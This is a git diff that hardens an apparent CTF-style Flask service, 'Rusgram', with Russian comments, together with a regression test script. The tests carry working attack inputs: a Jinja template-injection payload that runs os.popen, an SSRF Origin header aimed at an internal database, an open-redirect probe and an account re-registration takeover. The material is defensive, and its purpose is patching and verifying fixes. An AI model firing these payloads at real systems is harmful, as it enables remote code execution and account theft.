||||
except (r.RequestException, ValueError, KeyError):
|
||||
return ""
|
||||
|
||||
|
||||
@app.route('/<path:path>', methods=["GET", "POST"])
|
||||
def route(path):
|
||||
def get_login():
|
||||
if "session" not in request.cookies:
|
||||
return None
|
||||
username, password = request.cookies["session"].split("||")
|
||||
correct_password = r.get(f"http://{database_node}/users/{username}/password").json()["data"]
|
||||
if correct_password != password:
|
||||
return None
|
||||
return username
|
||||
if path == "index.html":
|
||||
if (username := get_login()) is None:
|
||||
return redirect("/login.html", code=302)
|
||||
imgs = list()
|
||||
for i in range(1, 17):
|
||||
imgs.append(r.get(f"http://{database_node}/images/{i}").json()["data"])
|
||||
for i in range(IMG_MIN, IMG_MAX + 1):
|
||||
try:
|
||||
imgs.append(r.get(f"http://{database_node}/images/{i}", timeout=5).json()["data"])
|
||||
except (r.RequestException, ValueError, KeyError):
|
||||
continue
|
||||
imgs[-1]["id"] = str(i).zfill(2)
|
||||
user = dict()
|
||||
first_name_resp = r.get(f"http://{database_node}/users/{username}/first_name")
|
||||
user["first_name"] = first_name_resp.json()["data"] if first_name_resp.status_code == 200 else ""
|
||||
second_name_resp = r.get(f"http://{database_node}/users/{username}/second_name")
|
||||
user["second_name"] = second_name_resp.json()["data"] if second_name_resp.status_code == 200 else ""
|
||||
email_resp = r.get(f"http://{database_node}/users/{username}/email")
|
||||
user["email"] = email_resp.json()["data"] if email_resp.status_code == 200 else ""
|
||||
msg_resp = r.get(f"http://{database_node}/users/{username}/msg")
|
||||
user["msg"] = msg_resp.json()["data"] if msg_resp.status_code == 200 else ""
|
||||
user["first_name"] = _field(username, "first_name")
|
||||
user["second_name"] = _field(username, "second_name")
|
||||
user["email"] = _field(username, "email")
|
||||
user["msg"] = _field(username, "msg")
|
||||
return render_template("index.html", data=imgs, user=user)
|
||||
elif path == "specific.html":
|
||||
if get_login() is None:
|
||||
return redirect("/login.html", code=302)
|
||||
img_id = request.args.get('img')
|
||||
img = r.get(f"http://{database_node}/images/{img_id}").json()["data"]
|
||||
img["id"] = img_id
|
||||
# PATCH V8: img приходит из URL. Раньше любое нечисловое/вне диапазона
|
||||
# значение давало 500, а незакавыченная подстановка {{img['id']}} внутрь
|
||||
# <script> в шаблоне позволяла подмешать JS.
|
||||
try:
|
||||
img_id = int(request.args.get('img', ''))
|
||||
except (TypeError, ValueError):
|
||||
abort(404)
|
||||
if not (IMG_MIN <= img_id <= IMG_MAX):
|
||||
abort(404)
|
||||
try:
|
||||
img = r.get(f"http://{database_node}/images/{img_id}", timeout=5).json()["data"]
|
||||
except (r.RequestException, ValueError, KeyError):
|
||||
abort(404)
|
||||
img["id"] = str(img_id).zfill(2)
|
||||
return render_template("specific.html", img=img)
|
||||
else:
|
||||
# PATCH V1/V5: всё, чего нет в белом списке, до Jinja не доходит.
|
||||
if path not in ALLOWED_TEMPLATES:
|
||||
abort(404)
|
||||
return render_template(path)
|
||||
|
||||
|
||||
|
||||
@@ -7,45 +7,117 @@ app = Flask(__name__)
|
||||
database_node_port = 5002
|
||||
basic_path = "./files/db"
|
||||
|
||||
IMG_MIN, IMG_MAX = 1, 16
|
||||
# Поля профиля, которые вообще могут существовать
|
||||
ALLOWED_FIELDS = {"password", "first_name", "second_name", "email", "msg"}
|
||||
|
||||
|
||||
def safe_username(username):
|
||||
"""Имя юзера становится именем файла в db/users/ — режем всё, что уводит
|
||||
запись/чтение за пределы каталога."""
|
||||
if not username or len(username) > 64:
|
||||
return False
|
||||
if "/" in username or "\\" in username or username in (".", ".."):
|
||||
return False
|
||||
if "\x00" in username:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def user_path(username):
|
||||
return os.path.join(basic_path, "users", username)
|
||||
|
||||
|
||||
@app.route('/users/<string:username>/<string:field>', methods=["GET", "POST"])
|
||||
def users(username, field):
|
||||
path = basic_path + "/users/" + username
|
||||
if not safe_username(username) or field not in ALLOWED_FIELDS:
|
||||
return make_response({"status": "bad_request"}, 400)
|
||||
path = user_path(username)
|
||||
|
||||
if request.method == 'GET':
|
||||
if not os.path.exists(path):
|
||||
return make_response({"status": "user_not_found"}, 404)
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
data = json.loads(f.read())
|
||||
if field not in data:
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return make_response({"status": "error"}, 500)
|
||||
if not isinstance(data, dict) or field not in data:
|
||||
return make_response({"status": "field_not_found"}, 404)
|
||||
return make_response({"status": "ok", "data": data[field]}, 200)
|
||||
|
||||
elif request.method == "POST":
|
||||
if not os.path.exists(path):
|
||||
body = request.get_json(silent=True)
|
||||
if not isinstance(body, dict) or "value" not in body:
|
||||
return make_response({"status": "bad_request"}, 400)
|
||||
value = body["value"]
|
||||
if not isinstance(value, str) or len(value) > 4096:
|
||||
return make_response({"status": "bad_request"}, 400)
|
||||
|
||||
existed = os.path.exists(path)
|
||||
if not existed:
|
||||
Path(path).touch()
|
||||
with open(path, "r+") as f:
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
data = json.loads(f.read())
|
||||
except json.JSONDecodeError:
|
||||
except (OSError, json.JSONDecodeError):
|
||||
data = {}
|
||||
data[field] = request.json["value"]
|
||||
if not isinstance(data, dict):
|
||||
data = {}
|
||||
|
||||
# PATCH V2 (defense in depth): пароль можно только СОЗДАТЬ при регистрации,
|
||||
# но не перезаписать. Функции смены пароля в сервисе нет, поэтому легальный
|
||||
# флоу это не ломает, а прямой захват аккаунта через :38002 — закрывает.
|
||||
if field == "password" and "password" in data:
|
||||
return make_response({"status": "user_exists"}, 409)
|
||||
|
||||
data[field] = value
|
||||
try:
|
||||
with open(path, "w") as f:
|
||||
f.write(json.dumps(data))
|
||||
except OSError:
|
||||
return make_response({"status": "error"}, 500)
|
||||
return make_response({"status": "ok"}, 200)
|
||||
|
||||
|
||||
@app.route('/images/<string:id>', methods=["GET", "POST"])
|
||||
def images(id):
|
||||
path = basic_path + "/images/" + id.zfill(2)
|
||||
# PATCH V8: раньше любой нечисловой/несуществующий id давал 500
|
||||
try:
|
||||
img_id = int(id)
|
||||
except (TypeError, ValueError):
|
||||
return make_response({"status": "bad_request"}, 400)
|
||||
if not (IMG_MIN <= img_id <= IMG_MAX):
|
||||
return make_response({"status": "not_found"}, 404)
|
||||
path = os.path.join(basic_path, "images", str(img_id).zfill(2))
|
||||
|
||||
if request.method == 'GET':
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
data = json.loads(f.read())
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return make_response({"status": "error"}, 500)
|
||||
return make_response({"status": "ok", "data": data}, 200)
|
||||
|
||||
elif request.method == "POST":
|
||||
with open(path, "r+") as f:
|
||||
body = request.get_json(silent=True)
|
||||
if not isinstance(body, dict) or "value" not in body:
|
||||
return make_response({"status": "bad_request"}, 400)
|
||||
value = body["value"]
|
||||
if (not isinstance(value, list) or len(value) != 2
|
||||
or not all(isinstance(x, str) for x in value)
|
||||
or len(value[1]) > 4096):
|
||||
return make_response({"status": "bad_request"}, 400)
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
data = json.loads(f.read())
|
||||
data["comments"].append(request.json["value"])
|
||||
if not isinstance(data, dict) or not isinstance(data.get("comments"), list):
|
||||
return make_response({"status": "error"}, 500)
|
||||
data["comments"].append(value)
|
||||
with open(path, "w") as f:
|
||||
f.write(json.dumps(data))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return make_response({"status": "error"}, 500)
|
||||
return make_response({"status": "ok"}, 200)
|
||||
|
||||
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
version: "3"
|
||||
services:
|
||||
proxy:
|
||||
build: ./proxy
|
||||
image: git.itqdev.xyz/4x10m/rusgram-proxy:${IMAGE_TAG:-latest}
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "38000:5000"
|
||||
|
||||
static:
|
||||
build: ./static
|
||||
image: git.itqdev.xyz/4x10m/rusgram-static:${IMAGE_TAG:-latest}
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "38001:5001"
|
||||
volumes:
|
||||
@@ -14,6 +17,8 @@ services:
|
||||
|
||||
database:
|
||||
build: ./database
|
||||
image: git.itqdev.xyz/4x10m/rusgram-database:${IMAGE_TAG:-latest}
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "38002:5002"
|
||||
volumes:
|
||||
@@ -21,11 +26,15 @@ services:
|
||||
|
||||
logic:
|
||||
build: ./logic
|
||||
image: git.itqdev.xyz/4x10m/rusgram-logic:${IMAGE_TAG:-latest}
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "38003:5003"
|
||||
|
||||
content:
|
||||
build: ./content
|
||||
image: git.itqdev.xyz/4x10m/rusgram-content:${IMAGE_TAG:-latest}
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "38004:5004"
|
||||
volumes:
|
||||
|
||||
+137
-34
@@ -6,67 +6,170 @@ database_node_port = 5002
|
||||
logic_node_port = 5003
|
||||
database_node = "database:" + str(database_node_port)
|
||||
|
||||
IMG_MIN, IMG_MAX = 1, 16
|
||||
|
||||
|
||||
def bad_request(status="error", code=400):
|
||||
return make_response({"status": status}, code)
|
||||
|
||||
|
||||
def unauthorized():
|
||||
"""PATCH V3/V6: раньше здесь был redirect(request.headers.get("Origin","") + "/login.html").
|
||||
Origin контролирует атакующий, а proxy ходит по Location серверсайд =>
|
||||
SSRF во внутреннюю сеть. Location теперь фиксированный и относительный."""
|
||||
return redirect("/login.html", code=302)
|
||||
|
||||
|
||||
def valid_username(username):
|
||||
"""PATCH V1/V8 (defense in depth): запрещаем только то, что реально опасно.
|
||||
Остальное (юникод, точки внутри имени) оставляем — чтобы не сломать чекер."""
|
||||
if not username or len(username) > 64:
|
||||
return False
|
||||
if "||" in username: # ломает формат куки session=<login>||<password>
|
||||
return False
|
||||
if "/" in username or "\\" in username or username in (".", ".."):
|
||||
return False # имя юзера = имя файла в db/users/
|
||||
if username.lower().endswith((".html", ".htm")):
|
||||
return False # имя, которое content мог бы отрендерить как шаблон
|
||||
return True
|
||||
|
||||
|
||||
def current_user():
|
||||
"""Возвращает имя авторизованного юзера или None. Не бросает исключений."""
|
||||
session = request.cookies.get("session")
|
||||
if session is None: # PATCH V8: раньше KeyError -> 500
|
||||
return None
|
||||
parts = session.split("||")
|
||||
if len(parts) != 2: # PATCH V8: раньше ValueError -> 500
|
||||
return None
|
||||
username, password = parts
|
||||
if not username:
|
||||
return None
|
||||
try:
|
||||
resp = r.get(f"http://{database_node}/users/{username}/password", timeout=5)
|
||||
if resp.status_code != 200: # PATCH V8: несуществующий юзер -> KeyError -> 500
|
||||
return None
|
||||
if resp.json().get("data") != password:
|
||||
return None
|
||||
except (r.RequestException, ValueError):
|
||||
return None
|
||||
return username
|
||||
|
||||
|
||||
def json_body():
|
||||
data = request.get_json(silent=True)
|
||||
return data if isinstance(data, dict) else None
|
||||
|
||||
|
||||
@app.route('/login', methods=["POST"])
|
||||
def login():
|
||||
data = request.get_json()
|
||||
data = json_body()
|
||||
if data is None or "login" not in data or "password" not in data:
|
||||
return bad_request()
|
||||
username, password = data["login"], data["password"]
|
||||
correct_password = r.get(f"http://{database_node}/users/{username}/password").json()["data"]
|
||||
if correct_password == password:
|
||||
resp = make_response({"status": "ok"}, 200)
|
||||
resp.set_cookie("session", f"{username}||{password}")
|
||||
return resp
|
||||
else:
|
||||
if not isinstance(username, str) or not isinstance(password, str):
|
||||
return bad_request()
|
||||
try:
|
||||
resp = r.get(f"http://{database_node}/users/{username}/password", timeout=5)
|
||||
correct_password = resp.json()["data"] if resp.status_code == 200 else None
|
||||
except (r.RequestException, ValueError, KeyError):
|
||||
return bad_request()
|
||||
if correct_password is not None and correct_password == password:
|
||||
out = make_response({"status": "ok"}, 200)
|
||||
out.set_cookie("session", f"{username}||{password}", httponly=True, samesite="Lax")
|
||||
return out
|
||||
return make_response({"status": "wrong_creds"}, 401)
|
||||
|
||||
|
||||
@app.route('/register', methods=["POST"])
|
||||
def register():
|
||||
data = request.get_json()
|
||||
data = json_body()
|
||||
if data is None or "login" not in data or "password" not in data:
|
||||
return bad_request()
|
||||
username, password = data["login"], data["password"]
|
||||
resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password})
|
||||
if not isinstance(username, str) or not isinstance(password, str):
|
||||
return bad_request()
|
||||
if not valid_username(username):
|
||||
return make_response({"status": "bad_login"}, 400)
|
||||
|
||||
# PATCH V2: раньше регистрация существующего юзера просто ПЕРЕЗАПИСЫВАЛА
|
||||
# его пароль (остальные поля, включая флаг, сохранялись) => полный захват
|
||||
# чужого аккаунта без единого запроса на аутентификацию.
|
||||
try:
|
||||
exists = r.get(f"http://{database_node}/users/{username}/password", timeout=5)
|
||||
if exists.status_code == 200:
|
||||
return make_response({"status": "user_exists"}, 409)
|
||||
except r.RequestException:
|
||||
return bad_request()
|
||||
|
||||
try:
|
||||
resp = r.post(f"http://{database_node}/users/{username}/password",
|
||||
json={"value": password}, timeout=5)
|
||||
except r.RequestException:
|
||||
return bad_request()
|
||||
if resp.status_code == 200:
|
||||
resp = make_response({"status": "ok"}, 200)
|
||||
resp.set_cookie("session", f"{username}||{password}")
|
||||
return resp
|
||||
else:
|
||||
out = make_response({"status": "ok"}, 200)
|
||||
out.set_cookie("session", f"{username}||{password}", httponly=True, samesite="Lax")
|
||||
return out
|
||||
return make_response({"status": "error"}, resp.status_code)
|
||||
|
||||
|
||||
@app.route('/update_personal', methods=["POST"])
|
||||
def update_personal():
|
||||
username, password = request.cookies["session"].split("||")
|
||||
correct_password = r.get(f"http://{database_node}/users/{username}/password").json()["data"]
|
||||
if correct_password != password:
|
||||
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
|
||||
data = request.get_json()
|
||||
name, sname, email = data["first_name"], data["second_name"], data["email"]
|
||||
r.post(f"http://{database_node}/users/{username}/first_name", json={"value": name})
|
||||
r.post(f"http://{database_node}/users/{username}/second_name", json={"value": sname})
|
||||
r.post(f"http://{database_node}/users/{username}/email", json={"value": email})
|
||||
username = current_user()
|
||||
if username is None:
|
||||
return unauthorized()
|
||||
data = json_body()
|
||||
if data is None:
|
||||
return bad_request()
|
||||
for field in ("first_name", "second_name", "email"):
|
||||
if field not in data or not isinstance(data[field], str):
|
||||
return bad_request()
|
||||
try:
|
||||
for field in ("first_name", "second_name", "email"):
|
||||
r.post(f"http://{database_node}/users/{username}/{field}",
|
||||
json={"value": data[field]}, timeout=5)
|
||||
except r.RequestException:
|
||||
return bad_request()
|
||||
return make_response({"status": "ok"}, 200)
|
||||
|
||||
|
||||
@app.route('/send_msg', methods=["POST"])
|
||||
def send_msg():
|
||||
username, password = request.cookies["session"].split("||")
|
||||
correct_password = r.get(f"http://{database_node}/users/{username}/password").json()["data"]
|
||||
if correct_password != password:
|
||||
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
|
||||
r.post(f"http://{database_node}/users/{username}/msg", json={"value": request.get_json()["msg"]})
|
||||
username = current_user()
|
||||
if username is None:
|
||||
return unauthorized()
|
||||
data = json_body()
|
||||
if data is None or not isinstance(data.get("msg"), str):
|
||||
return bad_request()
|
||||
try:
|
||||
r.post(f"http://{database_node}/users/{username}/msg",
|
||||
json={"value": data["msg"]}, timeout=5)
|
||||
except r.RequestException:
|
||||
return bad_request()
|
||||
return make_response({"status": "ok"}, 200)
|
||||
|
||||
|
||||
@app.route('/post_comment', methods=["POST"])
|
||||
def post_comment():
|
||||
username, password = request.cookies["session"].split("||")
|
||||
correct_password = r.get(f"http://{database_node}/users/{username}/password").json()["data"]
|
||||
if correct_password != password:
|
||||
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
|
||||
data = request.get_json()
|
||||
img_id, msg = data["img_id"], data["msg"]
|
||||
username = current_user()
|
||||
if username is None:
|
||||
return unauthorized()
|
||||
data = json_body()
|
||||
if data is None or not isinstance(data.get("msg"), str):
|
||||
return bad_request()
|
||||
# PATCH V8: img_id раньше уходил в URL внутреннего запроса как есть
|
||||
try:
|
||||
img_id = int(data.get("img_id"))
|
||||
except (TypeError, ValueError):
|
||||
return bad_request()
|
||||
if not (IMG_MIN <= img_id <= IMG_MAX):
|
||||
return bad_request()
|
||||
try:
|
||||
r.post(f"http://{database_node}/images/{img_id}",
|
||||
json={"value": [username, msg]})
|
||||
json={"value": [username, data["msg"]]}, timeout=5)
|
||||
except r.RequestException:
|
||||
return bad_request()
|
||||
return make_response({"status": "ok"}, 200)
|
||||
|
||||
|
||||
|
||||
@@ -24,8 +24,15 @@ def catch_all(path: str):
|
||||
headers = [("Cache-Control", "max-age=36000;"), ("Content-Type", resp.headers["Content-Type"])]
|
||||
return resp.content, resp.status_code, headers
|
||||
if path.startswith("api/"):
|
||||
if request.method.lower() not in ("get", "post"):
|
||||
return redirect("/", code=302)
|
||||
passcall = getattr(r, request.method.lower())
|
||||
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers)
|
||||
# PATCH V3: allow_redirects=False. requests по умолчанию ХОДИТ по Location,
|
||||
# который отдаёт logic, а Location раньше строился из заголовка Origin =>
|
||||
# proxy делал запрос во внутреннюю сеть за атакующего (SSRF).
|
||||
# Редирект теперь отдаём клиенту, а не отрабатываем сами.
|
||||
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(silent=True),
|
||||
headers=request.headers, allow_redirects=False)
|
||||
return resp.content, resp.status_code, resp.headers.items()
|
||||
return redirect("/", code=302)
|
||||
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Тесты Rusgram: SLA (легальный флоу чекера) + регрессия по всем найденным дырам.
|
||||
|
||||
python3 test_rusgram.py [host]
|
||||
|
||||
host по умолчанию — LAN-IP этой машины (важно: проверка закрытия внутренних
|
||||
портов имеет смысл только с внешнего адреса; с 127.0.0.1 они доступны намеренно).
|
||||
|
||||
Exit code 0 — всё зелёное. 1 — есть падения.
|
||||
Против services_vulnerable/rusgram секция SECURITY обязана падать,
|
||||
против services/rusgram — обязана проходить.
|
||||
"""
|
||||
import sys
|
||||
import socket
|
||||
import string
|
||||
import random
|
||||
import requests
|
||||
|
||||
TIMEOUT = 6
|
||||
PROXY, STATIC, DB, LOGIC, CONTENT = 38000, 38001, 38002, 38003, 38004
|
||||
|
||||
_results = []
|
||||
|
||||
|
||||
def rnd(n=10):
|
||||
return "".join(random.choices(string.ascii_lowercase, k=n))
|
||||
|
||||
|
||||
def check(section, name, passed, detail=""):
|
||||
_results.append((section, name, passed))
|
||||
mark = "\033[32mPASS\033[0m" if passed else "\033[31mFAIL\033[0m"
|
||||
print(f" [{mark}] {name}" + (f" ({detail})" if detail else ""), flush=True)
|
||||
|
||||
|
||||
def lan_ip():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect(("8.8.8.8", 80))
|
||||
return s.getsockname()[0]
|
||||
except OSError:
|
||||
return "127.0.0.1"
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
|
||||
def port_open(host, port):
|
||||
s = socket.socket()
|
||||
s.settimeout(3)
|
||||
try:
|
||||
s.connect((host, port))
|
||||
return True
|
||||
except OSError:
|
||||
return False
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- SLA
|
||||
def test_sla(host):
|
||||
print("\n=== SLA: легальный флоу ===", flush=True)
|
||||
B = f"http://{host}:{PROXY}"
|
||||
s = requests.Session()
|
||||
u, p = "t_" + rnd(), rnd()
|
||||
flag = "".join(random.choices(string.ascii_uppercase + string.digits, k=31)) + "="
|
||||
|
||||
try:
|
||||
r = s.post(f"{B}/api/register", json={"login": u, "password": p}, timeout=TIMEOUT)
|
||||
check("SLA", "register нового юзера = 200", r.status_code == 200, r.status_code)
|
||||
check("SLA", "выдана кука session", s.cookies.get("session") == f"{u}||{p}")
|
||||
|
||||
r = s.post(f"{B}/api/send_msg", json={"msg": flag}, timeout=TIMEOUT)
|
||||
check("SLA", "send_msg = 200", r.status_code == 200, r.status_code)
|
||||
|
||||
r = s.post(f"{B}/api/update_personal",
|
||||
json={"first_name": "Ivan", "second_name": "Ivanov", "email": "i@x.ru"},
|
||||
timeout=TIMEOUT)
|
||||
check("SLA", "update_personal = 200", r.status_code == 200, r.status_code)
|
||||
|
||||
r = s.post(f"{B}/api/post_comment", json={"img_id": 3, "msg": "nice"}, timeout=TIMEOUT)
|
||||
check("SLA", "post_comment = 200", r.status_code == 200, r.status_code)
|
||||
|
||||
r = s.get(f"{B}/", timeout=TIMEOUT)
|
||||
check("SLA", "GET / отдаёт владельцу его флаг", r.status_code == 200 and flag in r.text)
|
||||
check("SLA", "GET / рендерит профиль", "Ivan" in r.text)
|
||||
|
||||
r = s.get(f"{B}/specific.html?img=3", timeout=TIMEOUT)
|
||||
check("SLA", "specific.html?img=3 показывает комментарий",
|
||||
r.status_code == 200 and "nice" in r.text, r.status_code)
|
||||
|
||||
s2 = requests.Session()
|
||||
r = s2.post(f"{B}/api/login", json={"login": u, "password": p}, timeout=TIMEOUT)
|
||||
check("SLA", "login с верными кредами = 200", r.status_code == 200, r.status_code)
|
||||
check("SLA", "после login виден свой флаг", flag in s2.get(f"{B}/", timeout=TIMEOUT).text)
|
||||
|
||||
r = requests.post(f"{B}/api/login", json={"login": u, "password": "nope"}, timeout=TIMEOUT)
|
||||
check("SLA", "login с неверными = 401", r.status_code == 401, r.status_code)
|
||||
|
||||
for page in ("login.html", "register.html"):
|
||||
r = requests.get(f"{B}/{page}", timeout=TIMEOUT)
|
||||
check("SLA", f"{page} = 200", r.status_code == 200, r.status_code)
|
||||
for asset in ("css/login.css", "img/favicon.ico", "js/bootstrap.min.js"):
|
||||
r = requests.get(f"{B}/{asset}", timeout=TIMEOUT)
|
||||
check("SLA", f"статика {asset} = 200", r.status_code == 200, r.status_code)
|
||||
except requests.RequestException as e:
|
||||
check("SLA", "сервис доступен", False, str(e)[:70])
|
||||
return None, None, None
|
||||
return u, p, flag
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- SECURITY
|
||||
def test_security(host, victim, vpass, vflag):
|
||||
print("\n=== SECURITY: регрессия по уязвимостям ===", flush=True)
|
||||
B = f"http://{host}:{PROXY}"
|
||||
|
||||
# V1 — SSTI/RCE: полная цепочка, а не только отказ в регистрации.
|
||||
# Имя юзера с .html -> его файл рендерится content'ом как Jinja-шаблон.
|
||||
au, ap = f"{rnd()}.html", "p"
|
||||
r = requests.post(f"{B}/api/register", json={"login": au, "password": ap}, timeout=TIMEOUT)
|
||||
check("SEC", "V1: регистрация имени *.html отклонена", r.status_code != 200, r.status_code)
|
||||
canary = "SSTI" + rnd(6).upper()
|
||||
payload = "{{ lipsum.__globals__.os.popen('echo " + canary + "').read() }}"
|
||||
requests.post(f"{B}/api/update_personal",
|
||||
json={"first_name": payload, "second_name": "x", "email": "x"},
|
||||
cookies={"session": f"{au}||{ap}"}, timeout=TIMEOUT)
|
||||
r = requests.get(f"{B}/db/users/{au}", timeout=TIMEOUT)
|
||||
check("SEC", "V1: SSTI не выполняется (нет RCE)", canary not in r.text, r.status_code)
|
||||
|
||||
# V5 — чтение файла жертвы через render_template
|
||||
r = requests.get(f"{B}/db/users/{victim}", timeout=TIMEOUT)
|
||||
check("SEC", "V1/V5: render_template произвольного пути не отдаёт файл юзера",
|
||||
vflag not in r.text, r.status_code)
|
||||
|
||||
# V2 — перерегистрация чужого аккаунта
|
||||
r = requests.post(f"{B}/api/register", json={"login": victim, "password": "hacked"},
|
||||
timeout=TIMEOUT)
|
||||
check("SEC", "V2: перерегистрация существующего юзера отклонена",
|
||||
r.status_code != 200, r.status_code)
|
||||
r = requests.get(f"{B}/", cookies={"session": f"{victim}||hacked"}, timeout=TIMEOUT)
|
||||
check("SEC", "V2: перезаписанный пароль не даёт доступа к флагу", vflag not in r.text)
|
||||
r = requests.post(f"{B}/api/login", json={"login": victim, "password": vpass}, timeout=TIMEOUT)
|
||||
check("SEC", "V2: пароль жертвы НЕ сломан (нет саботажа)", r.status_code == 200, r.status_code)
|
||||
|
||||
# V3 — SSRF через Origin
|
||||
r = requests.post(f"{B}/api/send_msg", json={"msg": "x"},
|
||||
cookies={"session": f"{victim}||WRONGPASS"},
|
||||
headers={"Origin": f"http://database:5002/users/{victim}/msg?x="},
|
||||
timeout=TIMEOUT)
|
||||
check("SEC", "V3: SSRF через Origin не читает внутреннюю сеть", vflag not in r.text,
|
||||
r.status_code)
|
||||
|
||||
# V6 — открытый редирект
|
||||
try:
|
||||
r = requests.post(f"{B}/api/send_msg", json={"msg": "x"},
|
||||
cookies={"session": f"{victim}||WRONGPASS"},
|
||||
headers={"Origin": "https://evil.example"},
|
||||
allow_redirects=False, timeout=TIMEOUT)
|
||||
loc = r.headers.get("Location", "")
|
||||
check("SEC", "V6: Location не содержит внешний домен", "evil.example" not in loc,
|
||||
loc or "нет Location")
|
||||
except requests.RequestException as e:
|
||||
check("SEC", "V6: открытый редирект", False, str(e)[:50])
|
||||
|
||||
# V4/V5 — публикация внутренних портов наружу
|
||||
for port, name in ((STATIC, "static"), (DB, "database"), (LOGIC, "logic"), (CONTENT, "content")):
|
||||
closed = not port_open(host, port)
|
||||
check("SEC", f"V4/V5: порт {port} ({name}) закрыт снаружи", closed,
|
||||
"закрыт" if closed else "ОТКРЫТ")
|
||||
check("SEC", f"порт {PROXY} (proxy) открыт — сервис доступен", port_open(host, PROXY))
|
||||
|
||||
# V8 — устойчивость
|
||||
cases = [
|
||||
("GET / с кукой a||b||c", lambda: requests.get(f"{B}/", cookies={"session": "a||b||c"},
|
||||
timeout=TIMEOUT)),
|
||||
("GET / без куки", lambda: requests.get(f"{B}/", timeout=TIMEOUT)),
|
||||
("send_msg без куки", lambda: requests.post(f"{B}/api/send_msg", json={"msg": "x"},
|
||||
timeout=TIMEOUT)),
|
||||
("send_msg с несуществующим юзером",
|
||||
lambda: requests.post(f"{B}/api/send_msg", json={"msg": "x"},
|
||||
cookies={"session": "nosuchuser||p"}, timeout=TIMEOUT)),
|
||||
("specific.html?img=abc",
|
||||
lambda: requests.get(f"{B}/specific.html?img=abc",
|
||||
cookies={"session": f"{victim}||{vpass}"}, timeout=TIMEOUT)),
|
||||
("specific.html?img=999",
|
||||
lambda: requests.get(f"{B}/specific.html?img=999",
|
||||
cookies={"session": f"{victim}||{vpass}"}, timeout=TIMEOUT)),
|
||||
("post_comment с img_id='../x'",
|
||||
lambda: requests.post(f"{B}/api/post_comment", json={"img_id": "../x", "msg": "y"},
|
||||
cookies={"session": f"{victim}||{vpass}"}, timeout=TIMEOUT)),
|
||||
("register без полей", lambda: requests.post(f"{B}/api/register", json={},
|
||||
timeout=TIMEOUT)),
|
||||
]
|
||||
for name, fn in cases:
|
||||
try:
|
||||
code = fn().status_code
|
||||
check("SEC", f"V8: {name} не даёт 500", code != 500, code)
|
||||
except requests.RequestException as e:
|
||||
check("SEC", f"V8: {name}", False, str(e)[:50])
|
||||
|
||||
|
||||
def main():
|
||||
host = sys.argv[1] if len(sys.argv) > 1 else lan_ip()
|
||||
print(f"Цель: {host}", flush=True)
|
||||
if host.startswith("127."):
|
||||
print(" ! внутренние порты намеренно слушают 127.0.0.1 — "
|
||||
"проверка их закрытия достоверна только с внешнего IP", flush=True)
|
||||
|
||||
victim, vpass, vflag = test_sla(host)
|
||||
if victim:
|
||||
test_security(host, victim, vpass, vflag)
|
||||
|
||||
failed = [r for r in _results if not r[2]]
|
||||
print(f"\n{'=' * 52}")
|
||||
for sect in ("SLA", "SEC"):
|
||||
tot = [r for r in _results if r[0] == sect]
|
||||
bad = [r for r in tot if not r[2]]
|
||||
print(f" {sect}: {len(tot) - len(bad)}/{len(tot)} passed")
|
||||
if failed:
|
||||
print(f"\n\033[31mFAILED ({len(failed)}):\033[0m")
|
||||
for _, name, _ in failed:
|
||||
print(f" - {name}")
|
||||
return 1
|
||||
print("\n\033[32mВсё зелёное.\033[0m")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user